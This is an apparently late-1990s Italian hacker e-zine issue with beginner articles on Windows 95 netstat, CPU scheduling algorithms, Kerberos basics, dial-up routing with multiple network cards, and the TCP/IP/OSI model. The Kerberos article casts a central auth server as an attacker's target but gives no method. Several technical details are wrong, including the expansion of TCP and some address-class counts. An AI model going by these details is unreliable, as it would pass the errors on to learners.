ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
A cura di Barninga Z
Windows 95 implementa il comando netstat, praticamente standard nei sistemi
Unix, utile per indagare la configurazione di rete ed il suo stato. Quella di
Windows 95 appare una versione ridotta rispetto al netstat diffuso sotto Unix,
ma comunque utile per curiosare e magari diagnosticare lo stato della rete.
Il comando netstat riconosce diverse opzioni, particolarmente interessante e'
-a, che visualizza lo stato di tutte le connessioni di rete.
Un output del comando netstat -a visualizza tipicamente una riga per ogni
servizio attivo (il servizio, in parole poverissime e largamente approssimative,
E' un socket, o numero di connessione, attraverso il quale due processi - in
genere su macchine diverse - comunicano), come il seguente:
Active Connections
Proto
UDP
UDP
UDP
UDP
Local Address
zeta-:nbname
zeta-:nbdatagram
zeta-:nbname
zeta-:nbdatagram
Foreign Address
*:*
*:*
*:*
*:*
State
Il significato E' che sul computer zeta- (il nome attribuito alla macchina via
pannello di controllo) sono attive due interfacce di rete, e su entrambe sono
attivi i servizi NetBiosName e NetBiosDatagram. Il fatto che si tratti di due
interfacce di rete appare piu' chiaro se insieme all'opzione -a si usa anche
l'opzione -n, che richiede a netstat la visualizzazione dell'output in formato
numerico (senza cioE' utilizzare C:\WINDOWS\HOSTS per i nomi delle macchine e
C:\WINDOWS\SERVICES per i nomi dei servizi):
Active Connections
Proto
UDP
UDP
UDP
UDP
Local Address
150.100.190.11:137
150.100.190.11:138
193.76.58.131:137
193.76.58.131:138
Foreign Address
*:*
*:*
*:*
*:*
State
L'indirizzo 150.100.190.11 e' l'indirizzo della mia macchina sulla LAN, mentre
193.76.58.131 E' l'indirizzo internet atribuito automaticamente dal provider;
137 e 138 sono i numeri dei servizi NetBiosName e NetBiosDatagram (standard
anche su Unix). UDP indica che si tratta di servizi di tipo User Datagram
Protocol, cioe' di servizi privi di un vero e proprio protocollo di sincronia
tra processi in grado di garantire che tutti i pacchetti spediti siano arrivati
effettivamente a destinazione e in una sequenza prestabilita (in altre parole,
manca una negoziazione tra i processi all'inizio della trasmissione).
Ecco come cambia l'output nel momento in cui effettuo una connessione FTP (ad
esempio mediante il programma FTP.EXE) verso una macchina della rete locale:
Active Connections
Proto
TCP
UDP
UDP
UDP
UDP
Local Address
zeta-:1136
zeta-:nbname
zeta-:nbdatagram
zeta-:nbname
zeta-:nbdatagram
Foreign Address
pippo:ftp
*:*
*:*
*:*
*:*
State
ESTABLISHED
Come si vede e' comparsa una nuova riga in testa alla lista di connessioni, la
quale indica che la macchina zeta- ha aperto un nuovo socket (un nuovo canale
di comunicazione, il numero 1136) e si e' connessa al servizio ftp della
macchina pippo; la connessione e' attiva (ESTABLISHED) ed e' di tipo TCP.
TCP sta per Transport Control Protocol e, a differenza dello UDP, e' un vero e
proprio protocollo che implementa controlli interprocesso per verificare
l'integrita' e la completezza della trasmissione.
Ancora una volta, l'opzione -n mi permette di verificare su quale interfaccia
e' attiva la connessione, infatti la prima linea sara'
Proto
Local Address
Foreign Address
State
TCP
150.110.190.11:1136
150.113.150.11:21
ESTABLISHED
si nota, tra l'altro, che la porta standard ftp e' la 21; inoltre, dato che
l'indirizzo della macchina target evidenzia un net address (150.113) diverso
da quello della mia macchina (150.110), se ne deduce che da qualche parte ci
deve essere un router che mette in comunicazione le due reti.
Una rapida verifica, oltre che con il programma ROUTE.EXE, puo' essere fatta
con lo stesso netstat, mediante l'opzione -r. L'output del comando netstat -r
sara' il seguente (i puntini indicano che ho eliminato alcune righe non
significative ai fini dell'esempio):
Route Table
Active Routes:
Net Address
150.13.0.0
Netmask
Gateway Address
Interface
Metric
255.255.0.0
150.110.12.54
150.110.190.11
1
Il router (o gateway) che consente ai pacchetti indirizzati a macchine sulla
rete 150.13 e' la macchina con indirizzo 150.110.12.54, e l'interfaccia (scheda
di rete) che la vede direttamente e' quella LAN (150.110.190.11): infatti il
net address e' il medesimo (150.110).
Se mi connetto al mail server per ricevere e spedire le mie email, nell'output
di netstat compariranno righe analoghe alle seguenti:
Proto
Local Address
Foreign Address
State
TCP
TCP
194.166.51.92:1137
194.166.51.92:1138
193.76.58.158:110
193.76.58.158:25
ESTABLISHED
ESTABLISHED
La prima e' quella relativa al servizio POP (ricezione delle email), mentre la
seconda e' relativa al servizio SMTP (spedizione delle mail); anche questi
servizi sono uno standard dettato da Unix. Come era prevedibile, si tratta di
sockets TCP.
Un'altra interessante opzione di netstat e' la -e, che visualizza le statistiche
relative all'attivita' su rete ethernet. Ecco un output di esempio:
Interface Statistics
Bytes
Unicast packets
Non-unicast packets
Discards
Errors
Unknown protocols
Received
Sent
30540632
4598
61379
0
0
13
335893
4401
302
0
0
Oltre al numero di bytes complessivamente ricevuti e inviati, viene visualizzato
il numero di pacchetti, suddivisi in Unicast (pacchetti indirizzati da una
macchina ad un altra, anche conosciuti come point-to-point) e Non-unicast
(pacchetti inviati da una macchina a piu' di una macchina, i cosiddetti
broadcast e multicast, che sono, in genere, di tipo UDP).
L'opzione -s forza netstat a visualizzare statistiche raggruppate per tipo di
pacchetto e puo' essere filtrata con l'opzione -p, che consente di specificare
il tipo di pacchetto. Ad esempio, per visualizzare le statistiche relative ai
pacchetti UDP, si puo' dare il comando netstat -sp UDP.
Infine, netstat offre la possibilita' di specificare un intervallo (in secondi)
per ottenere la ripetizione delle statistiche di rete: ad esempio il comando
netstat -a 2 visualizza un output analogo a quelli esaminati sin qui per
l'opzione -a ogni 2 secondi: in tal modo e' possibile tenere sotto osservazione
i diversi servizi utilizzati e la loro evoluzione nel tempo, cioe' il mutare
del loro State, che oltre a ESTABLISHED puo' assumere diversi valori, tra cui,
ad esempio TIME_WAIT (quando e' in attesa di risposta dalla macchina remota) e
CLOSE_WAIT (quando la macchina remota ha appena chiuso il servizio).
Barninga Z
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
SISTEMI OPERATIVI
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Un carissimo saluto a tutti... partecipo a questa e-zine con una digressione
teorica e sottolineo teorica sui sistemi operativi. Premetto subito che le
spiegazioni che troverete si riferiscono agli OS in generale... l'argomento
si presenta forse un po' palloso ma molto utile per capire approfonditamente
il funzionamento dei sistemi.
Ringrazio tutti quelli che, vista l'introduzione, non si sono spaventati e
hanno continuato la lettura spinti dalla loro voglia irresistibile di
apprendere.
Incominciamo.
Che cos'e' un OS? Letteralmente un OS costituisce l'interfaccia tra la macchina
e l'utente. Esso coordina le risorse del sistema e gestisce gli eventi che
derivano dall'uso dell'OS stesso. Le risorse possono essere definite come le
entita' hardware o software che concorrono allo sviluppo di un qualsiasi
processo
produttivo. <A questo punto mi rimarranno 2 lettori>. La struttura tipica di
un OS viene normalmente schematizzata come struttura a "cipolla" e comprende
i seguenti livelli:
*
*
*
*
*
*
Utilizzo e sincronizzazione della CPU.
Gestione della memoria centrale (RAM).
Gestione delle periferiche di I/O.
Gestione del File System.
Interfaccia utente.
Applicazioni con funzione di utilita' per l'utente.
Gestione dei Processi.
Iniziamo con l'analisi completa dei processi. Per capire cosa sono i processi
bisogna rifarsi al concetto di programma che e' definibile come una sequenza di
istruzioni da eseguire.
Il processo, invece, e' la conseguenza dell'esecuzione delle citate istruzioni
e quindi della gestione delle risorse coinvolte. In breve possiamo dire che il
processo e l'insieme degli stati assunti dal sistema durante l'esecuzione dei
programmi. Gli stati che un processo puo' assumere all'interno dell'elaboratore
sono tre e precisamente:
* stato di ready quando il processo attende la disponibilita' della CPU.
* stato di running quandi il processo viene eseguito dalla CPU.
* stato di waiting quando il processo richiede l'intervento di un'altra risorsa.
Cmq, per capire, facciamo un esempio e immaginiamo di scrivere un programmino
del cazzo in C... dopo prendiamo il nostro bravo compilatore GCC e creiamo
l'eseguibile; ecco a questo punto il compilatore trasforma il codice in una
serie di istruzioni sequenziali. Ma cosa accade quando mandiamo il nostro
processo in esecuzione? Il processo viene messo in ready dalla CPU poi la CPU
esegue il processo in running e a questo punto o completa l'esecuzione o
finisce in waiting in seguito ad una richiesta del programma di fornire un
Input (per esempio e' richiesto l'inserimento di una dato da tastiera).
Adesso direte bravo bella forza... ci voleva tanto. Beh immaginate che
l'ambiente in cui lavoriamo sia multi-tasking (ovvero la possibilita' di
eseguire piu processi contemporaneamente) e magari anche multi-utente; le cose
cambiano avremo centinaia o migliaia di processi che richiederanno la loro
esecuzione e se ancora non l'avete capito la CPU esegue solo un processo per
volta in quanto e' una risorsa non divisibile ma interrompibile. I problemi
sono pertanto enormi e richiedono l'utlizzo di algoritmi di gestione che
andremo ora ad analizzare. Le strategie di gestione sono cosi classificabili:
* Politica event driven
<Il passaggio da uno stato all'altro avviene in base agli eventi come la
terminazione di un processo in esecuzione o una richiesta di interruzione.>
* Politica time driven
<Il passaggio da uno stato all'altro avviene in base al fattore tempo. La CPU
serve a turno i vari processi, ripartendo equamente il tempo di servizio fino
all'esaurimento delle richieste.>
Analizziamo gli algoritmi event driven.
Algoritmo di gestione FCFS (First Come First Served).
E' l'algoritmo di gestione piu' semplice in assoluto; i processi vengono
serviti in base al loro ordine di arrivo fino alla terminazione o fino al
verificarsi di una interruzione esterna.
Lo svantaggio piu' evidente per l'utente consiste nella variabilita' del tempo
di risposta e nel rischi che il proprio lavoro non venga mai eseguito se un
altro processo tiene indefinatamente la CPU per se stesso.
Algoritmo di gestione SJF (Shortes Job First).
In base a questo criterio verra' eseguito per primo il processo che presenta
il minor numero di istruzioni.
Chiaramente i processi brevi anche se arrivati dopo passano davanti quindi
come svantaggio si nota una penalizzazione eccessiva dei processi con molte
istruzioni per i quali si possono generare situazioni di attesa indefinita.
Algoritmo di gestione SPTF (Shortest Job Time First)
Variante sofisticata del precedente algoritmo; viene fatta una stima a priori
del tempo di elaborazione e, successivamente, vengono scelti i processi in
modo da servire prima quelli che impegneranno in minor misura la CPU.
(NOTA DI N0bodY88 = siccome oggi ho preso 7 all'interrogazione di informatik
anke
su questa cosa ringrazio Frensis e aggiungo all'ultima frase
che la stima non avviene calcolando i tempi in senso
letterale
(sarebbe troppo lungo) ma guardando quante risorse e/o
periferiche utilizza, assegnando poi un tot di tempo ad ogni
risorsa utilizzata)
OSS: un miglioramento ai precedenti algoritmi consiste nel dare la precedenza
ai processi che presentano un grande numero di richieste di I/O e che pertanto
rilasciano spesso la risorsa passando frequentemente in waiting. Esistono poi
sistemi che utilizzano l' algoritmo a scheduling con priorita', ovvero assegnano
a ciascun processo un numero corrispondente alla priorita' ed eseguono prima
quelli con priorita' maggiore; questo puo' portare al cosiddetto fenomeno di
starvation verificatosi, credo, in un mainframe del M.I.T. di Boston dove un
processo con bassa priorita' rimase in ready per piu' di 2 anni senza mai essere
entrato in running.
Gli algoritmi event-driven sono cosi terminati e, parlando chiaro, non offrono
soluzioni ottimali e convenienti per un buon uso del processore. Diverso e'
invece il discorso per il time-driven che presenta l'algoritmo di gestione
Round-Robin. Questo algoritmo gestisce i processi attraverso il fattore-tempo
fissando il cosiddetto time-slice ovvero un unita' di tempo (per esempio un
decimo di secondo) conclusa la quale il processo o viene messo terminato o
viene messo in stato di ready. Cerchiamo di capirci <t.e= tempo di elaborazione>
* Arrivano i processi p(1) t.e=4/10 sec., P(2) t.e=2/10 sec., p(3) t.e=5/10 sec.
nella CPU; il time-slice viene fissato in 2/10 di sec.
* Il processo p(1) viene eseguito dalla CPU per primo e dopo 2/10 sec. esce
per lasciare spazio p(2) che avendo t.e=2/10 sec. viene terminato. Entra poi
p(3) che dopo i soliti 2/10 del cazzo esce e lascia il posto a p(1) che
termina la sua esecuzione e fa rientare p(3) che uscira' e rientrera'
immediatamente per essere terminato anch'esso.
Mi auguro che ci abbiate capito qualcosa. Cmq e' una belinata. Tranquilli.
Oss: al criterio round-robin possono essere aggiunti numerosi "optional" in
quanto puo' prevedere l'utilizzo delle priorita' o degli algoritmi
precedente
mente illustrati che, naturalmente, vengono incorporati nel round-robin
stesso.
N:B: l'amatissimo sistema Unix funziona con il criterio event-driven a priorita'
e non come ho sentito dire un criterio FCFS.
Direi che la prima puntata sui sistemi operativi puo' dirsi conclusa. Forse ci
rivredremo al prossimo numero della e-zine con la gestione della RAM. Ho
certamente dimenticato molto e spero che qualcuno mi faccia sapere cosa ne
pensa!
La mia e-mail e' [email protected]. CIAO....
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
KERBEROS...IL CAGNACCIO
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[email protected]
Premessa ...
Questo articolo non fa parte della mia esp. personale perche' e' stato tratto
da + libri/riviste et/quindi non stressatemi nella mia povera mail ....
eccheccaxx ne ho gia' abbastanza di msg a cui rispondere ...
Intro al Cane ...
Il sistema di autentificazione Kerberos e' stato sviluppato nel quadro del
progetto Athena del MIT(Massachussets Institute of Technology) .
Da allora Kerberos e' stato adottato da molte organizzazioni .
Inoltre , molti sviluppatori di applicazioni includono nei propri prodotti il
supporto per questo meccanismo di autenticazione .
Entriamo nel vivo dell'articolo ...
Kerberos e' 1 sistema di autenticazione , e' cioe' 1 sistema che certifica
l'identita' di un "principal" (cosi' viene indicato 1 utente oppure 1 servizio).
In entrambi i casi il principal viene definito mediante le seguenti tre
componenti :
- nome primario (primary name) ;
- istanza (istance) ;
- dominio (realm) ;
Nella terminologia utilizzata da Kerberos , queste tre componenti identificano
1a tupla di valori , come nell'esempio che vi sto per fare :
<primary_name, istance, realm>
Nel caso di un utente la primary_name e' la login di collegamento al sistema .
Istance e' nulla o contiene particolari info riguardanti l'utente stesso .
Nel caso di 1 servizio , primaryname e' il nome del servizio e si utilizza il
nome del sistema come istance ad es. rlogin.mymachine . In ogni caso il valore
realm viene utilizzato per distinguere differenti domini di autenticazione .
Usando il parametro realm e' possibile avere un server Kerberos diverso per
ciascuna sottosezione di un'organizzazione invece di un unico server
centralizzato .
Questa seconda situazione presenterebbe l'obiettivo principale per noi dal
momento che tale server dovrebbe essere dichiarato affidabile all'interno
dell'intera organizzazione .
Se cosi' e' impstato ...vai di fantasia !!!
I princypal di Kerberos ottengono dei tagliandi (ticket) da 1 server speciale
detto ticket-granting server .
Ciascun ticket e' formato da 1a serie di informazioni che identificano il
princypal codificato nella chiave privata per quel determinato servizio .
Dal momento che soltanto Kerberos e il servizio conoscono questa chiave ,
essa e' considerata autentica .
Il ticket distribuito dal ticket-granting server contiene 1a nuova chiave
privata di sessione conosciuta anche dal client .
Questa chiave viene spesso utilizzata per cifrare le transazioni che si
verificano durante una sessione .
Il maggior vantaggio fornito dall'approcio adottato in Kerberos e'
rappresentato dal fatto che ciascun ticket ha 1a durata specifica .
Al termine di questa e' necessario richiedere 1 nuovo ticket al
ticket-granting server .
Nel prossimo numero "Svantaggi del Kerberos" (quello che ci interessa ...) .
Al proxximo numero by ULNTWH99 .
aÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
GESTIRE + SCHEDE DI RETE CON WINDOWS 95
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Windows 95 non riesce sempre a gestire correttamente
l'indirizzamento dei pacchetti IP sulla connessione SLIP o PPP (in
pratica, l'Acesso Remoto) se, al momento della sua attivazione, sulla
macchina e' attivo piu' di un protocollo TCP/IP.
In altre parole, se, ad esempio, sul pc sono installate due o piu'
schede di rete e su ciascuna e' attivo un protocollo TCP/IP col suo
bravo indirizzo, o vi e' una scheda sola alla quale e' associato piu' di
un indirizzo IP, non e' piu' possibile collegarsi ad Internet. O meglio,
ci si collega, ma non e' possibile raggiungere alcun sito ne' utilizzare
alcun servizio.
A occhio e croce si direbbe che in questi casi Windows 95 non
utilizzi l'indirizzo del Provider Internet (tanto per farla breve) quale
default gateway o non riesca ad utilizzarne il Domain Name Server.
Di conseguenza, i pacchetti destinati a Internet si perdono invece
sulle LAN locali oppure non vengono addirittura inviati.
I collegamenti LAN rimangono invece regolarmente funzionanti.
L'inconveniente ha un rimedio, consistente nel disabilitare
temporaneamente le schede LAN in modo che resti attivo al
massimo un protocollo TCP/IP oltre a quello dell'Accesso Remoto,
connettersi ad Internet, e riabilitare le schede a connessione attiva.
Per disabilitare una scheda LAN e' sufficiente cliccare col pulsante
destro sull'icona "Risorse del computer" (o "My Computer", per chi
ha la versione inglese) e selezionare "Proprieta'" dal pop-up menu
che appare. Compare un elenco di periferiche. Cliccando col
pulsante sinistro sul "+" a sinistra del simbolo delle schede di rete
viene visualizzato l'elenco delle schede di rete installate sulla
macchina, la prima delle quali e' la "scheda" (sarebbe meglio parlare
di driver) per l'Accesso Remoto. Selezionando una delle schede e
cliccando sul button "Proprieta'" si apre una finestra in fondo alla
quale e' presente un elenco di configurazioni (di solito una sola,
quella "corrente"), ciascuna corredata di un checkbox. E' sufficiente
cliccare sui checkbox in modo che siano tutti vuoti (e percio' disattive
le configurazioni corrispondenti) e cliccare poi su "OK".
A questo punto si puo' attivare la connessione ad Internet come di
consueto e, a collegamento avvenuto, se lo si desidera e' possibile
riabilitare la scheda (o le schede) precedentemente disabilitate.
Per riabilitare una scheda si segue la stessa procedura, ma questa
volta bisogna far ricomparire il checkmark dentro il "quadratino".
Se dopo avere disabilitato le schede il collegamento PPP continua a
non funzionare, allora e' necessario (ma guarda un po') effettuare un
bootstrap: la macchina ripartira' con le schede gia' disabilitate, e
queste potranno essere riabilitate una volta stabilita la connessione
dialup.
Barninga Z
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
TCP/IP (QUELLO CHE ANCORA NON • STATO DETTO)
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
NO (C)1998 DarkSide
Siamo cosi' giunti al secondo numba, questa volta l'argomento di cui trattero'
e' molto pi— complesso del precedente quindi, prima di cominciare, leggere
bene il foglietto illustrativo.
Indicazioni terapeutiche
----------------------------------------------------------------------------Indicato per chi di TCP/IP & company non sa NIENTE.
Avvertenze
----------------------------------------------------------------------------Tenere fuori dalla portata dei bambini.
Sovradosaggio
----------------------------------------------------------------------------L'iperdosaggio potrebbe provocare uno stato di confusione mentale.
Effetti collaterali
----------------------------------------------------------------------------RARAMENTE a decorrenza fatale :).
Composizione
----------------------------------------------------------------------------Ok, si comincia...
La sigla TCP/IP fa riferimento a un set di protocolli utilizzati dai computer
per trasmettere le informazioni, e' di semplice intuizione che essi sono alla
base di Internet.
I 4 protocolli TCP/IP pi— utilizzati sono:
1) IP
Internet Protocol: che si occupa di trasferire i dati fra i computer
host della rete.
2) TCP Transfer Control Protocol: sposta tra le applicazioni i dati
costituiti da pi— pacchetti.
3) UDP User Datagram Protocol: Svolge lo stesso compito del TCP tuttavia e'
meno affidabile in quanto trasferisce un unico pacchetto di dati.
4) ICMP Internet Control Message Protocol: Comunica messaggi di errore e
altre condizioni che richiedano attenzione.
Il TCP/IP e' stato realizzato sulla base di un modello concettuale chiamato
ISO/OSI ovvero: International Standards Organization / Open Systems
Interconnection (1977 - 1984).
Tale modello descrive il flusso dei dati tra il collegamento fisico alla rete
e l'applicazione dell'utente finale, ed e' suddiviso in 7 livelli ognuno dei
quali fornisce determinati servizi a quelli sovrastanti.
Si deve considerare che ogni livello, non sa cosa fanno gli altri e inoltre,
comunica solo con quello immediatamente sovrastante e/o sottostante.
Il modello OSI puo' essere schematizzato come segue:
7
6
5
4
3
2
1
LIVELLO
TIPO DI DATI
________________________________________________________
|
|
|
| Livello swll'applicazione
|
Messaggi
|
|_________________________________|______________________|
|
|
|
| Livello di presentazione
|
Messaggi
|
|_________________________________|______________________|
|
|
|
| Livello della sessione
|
Messaggi
|
|_________________________________|______________________|
|
|
|
| Livello del trasporto
|
Messaggi
|
|_________________________________|______________________|
|
|
|
| Livello della rete
|
Pacchetti
|
|_________________________________|______________________|
|
|
|
| Livello data-link
|
Trame
|
|_________________________________|______________________|
|
|
|
| Livello fisico
|
Bit
|
|_________________________________|______________________|
<-- Comando +
eventuali dati
<--
blocco
elementare di
dati
<-- sequenze di
bit
<--
Unit…
minima di
informazione
poiche' ad ogni livello e' associato almeno un protocollo che ne definisce la
funzione, possiamo dire in senso figurato che i protocolli sono disposti uno
sull'altro, ed e' per questo che si parla di stack (o pila) di protocolli.
L'implementazione TCP/IP del modello ISO/OSI utilizza solo 5 dei 7 livelli
sopra citati come illustra il seguente schema:
( OGNI COLLEGAMENTO DEVE ESSERE CONSIDERATO BIDIREZIONALE )
___________________________________________________________________________
|
|
|
| Livello della|
Programma
Programma
Programma
Programma
|
| applicazione |
|
|
|
|
|
|_______________|________|_____________|_____________|_____________|________|
|
|
|
|
|
|
|
| Livello del
|
|
TCP
|
UDP
|
| trasporto
|
|
\
|
/
|
|_______________|________|________________\__________|__________/___________|
|
|
|
\ _______|_______ /
|
| Livello
|
ICMP------------------|______IP_______|--------IGMP |
| della rete
|
|
|
|_______________|____________________________________|______________________|
|
|
|
|
| Livello
|
ARP---------Interfaccia----------RARP
|
| data-link
|
hardware
|
|_______________|____________________________________|______________________|
|
|
|
|
| Livello
|
|
|
| fisico
|
LINNEE DI TRASMISSIONE
|
|_______________|___________________________________________________________|
nello schema sono citati solo alcuni tra i protocolli pi— conosciuti mentre,
nella realt…, le relazioni tra i livelli del modello OSI e lo stack dei
protocolli TCP/IP sono molto pi— numerose, tenete presente che sto
riassumendo... :).
Per comprendere meglio vediamo ora lo scopo di ciascun livello all'interno
del protocollo TCP/IP, ma prima PAUSA MARLBORO ... ( se non ci fossero
bisognerebbe inventarle ).
Ok, proseguiamo...
1) Il livello fisico, trasmette i bit di dati attraverso il mezzo fisico
(doppino, cavo di rete ecc...).
2) Il livello data-link, gestisce i trame, e' dotato di un'interfaccia
hardware che normalmente corrisponde alla scheda di rete installata sul
computer.
Include diversi moduli di protocollo tra cui:
ARP (Address Resolution Protocol)
RARP (Reverse Address Resolution Protocol)
SLIP (Serial Line Internet Protocol)
PPP (Point-to-Point Protocol)
e altri...
3) Il livello della rete, all'estremit… del mittente converte i pacchetti in
trame di dati pi— piccoli.
All'estremit… del ricevente, unisce nuovamente le trame ricostruendo i
vari pacchetti.
Poiche' contiene il modulo IP tale livello rappresenta il nucleo centrale di
qualsiasi rete basata sui protocolli TCP/IP.
I protocolli ICMP e IGMP citati nello schema gestiscono alcuni messaggi
particolari quali quelli di errore e quelli di multicast (messaggi inviati
a pi— sistemi).
4) Il livello del trasporto, all'estremit… del mittente, divide i messaggi
in vari pacchetti.
All'estremit… del ricevente ricompone i messaggi originali e invia un
riscontro dell' avvenuta ricezione.
Controlla inoltre che i dati vengano ricevuti nell'ordine esatto entro il
tempo stabilito, in caso di errore chiede che i dati vengano ritrasmessi.
5) Il livello delle applicazioni, invia e riceve i dati inviati dal livello
di trasporto.
Arrivati a questo punto dovreste essere in grado di capire come avviene il
passaggio dei dati da un livello all'altro, per chiarire ogni possibile
dubbio passiamo ad un esempio.
Supponiamo di dover spedire un file qualsiasi...
1) Il programma preposto invia il file verso il basso nello stack dei
protocolli fino a raggiungere il livello di trasporto.
2) Il livello di trasporto allega al file la propria intestazione e lo invia
al livello di rete.
3) Il livello della rete suddivide il file in pacchetti, ai quali aggiunge
ulteriori informazioni di intestazione e invia i pacchetti al livello
data-link.
4) Il livello data link esegue un ulteriore suddivisione e invia i trame al
livello fisico.
5) Il livello fisico trasmette i trame lungo la rete sotto forma di impulsi
elettrici.
6) Gli impulsi passano attraverso vari dispositivi di rete che si trovano tra
il computer trasmittente e quello ricevente.
Ogni computer controlla di non essere la destinazione e in tal caso fa
procedere verso la meta ( La verifica e' a carico del livello di rete ).
7) Nel computer ricevente, attraverso il processo inverso il file viene
ricreato, ( tale processo e' volontariamente omesso perche' e' di semplice
deduzione ).
La verifica della destinazione e l'indirizzamento dei pacchetti sono possibili
grazie a una combinazione di 32 bit ( 4 byte ) che identifica univocamente un
qualsiasi computer connesso ad Internet, come molti di voi avranno gi… capito,
mi riferisco all'IP Address.
I bit di un indirizzo IP vengono interpretati nel seguente modo:
<Indirizzo di Rete, Indirizzo dell'Host>
Il primo identifica la rete a cui siete collegati, mentre il secondo
identifica il vostro PC.
A seconda del numero di computer da cui e' costituita una rete possiamo
distinguere diverse classi di indirizzi ovvero:
Classe
Classe
Classe
Classe
Classe
A:
B:
C:
D:
E:
byte
byte
byte
byte
byte
pi—
pi—
pi—
pi—
pi—
significativo
significativo
significativo
significativo
significativo
da
da
da
da
da
1
128
192
224
240
a
a
a
a
a
126
191
223
239
254
0, 127 riservati
255 riservato
per byte pi— significativo si intende quello pi— a sinistra.
La classe specifica il numero di byte che l'indirizzo utilizza per
identificare la rete.
Nel dettaglio possiamo dire che:
comunemente vengono usate solo le prime 3...
La classe A:
Puo' avere 16.777.214 host per rete e un totale di 126 reti.
1 byte disponibile per ID di rete, i rimanenti 3 identificano l'host.
Il byte pi— significativo inizia sempre con il bit 0.
La classe B:
64.516 host per rete e untotale di 16.256 reti.
2 byte disponibili per ID di rete, i rimanenti 2 identificano l'host.
Il byte pi— significativo inizia sempre con i bit 10.
La classe C:
254 host per rete e 2.064.512 reti.
3 byte disponibili per ID di rete, il rimanente byte identifica l'host.
Il byte pi— significativo inizia sempre con i bit 110.
La classe D:
Utilizzata negli indirizzi multicast.
Il byte pi— significativo inizia sempre con i bit 1110.
La classe E:
• riservata per usi futuri.
Il byte pi— significativo inizia sempre con i bit 11110.
Uno spot su...
I Byte riservati.
Un campo contenente il valore 0 viene interpretato come "questo", per esempio
l' indirizzo 0.0.0.154 significa numero di host 154 su questa rete di
classe C.
L'indirizzo di classe A 127 tipicamente 127.0.0.1 per convenzione e' utilizzato
come indirizzo di loopback, chi di voi non lo ha mai usato durante i vari
esperimenti di hacking off-line ? ;)
Se un campo dell'indirizzo contiene il Nø 255, questo rappresenta un indirizzo
broadcast (messaggio destinato a tutti i computer della rete) ad esempio,
181.54.255.255 identifica tutti gli host della rete di classe B 181.54.
In alcune reti anche 0 e' un indirizzo broadcast.
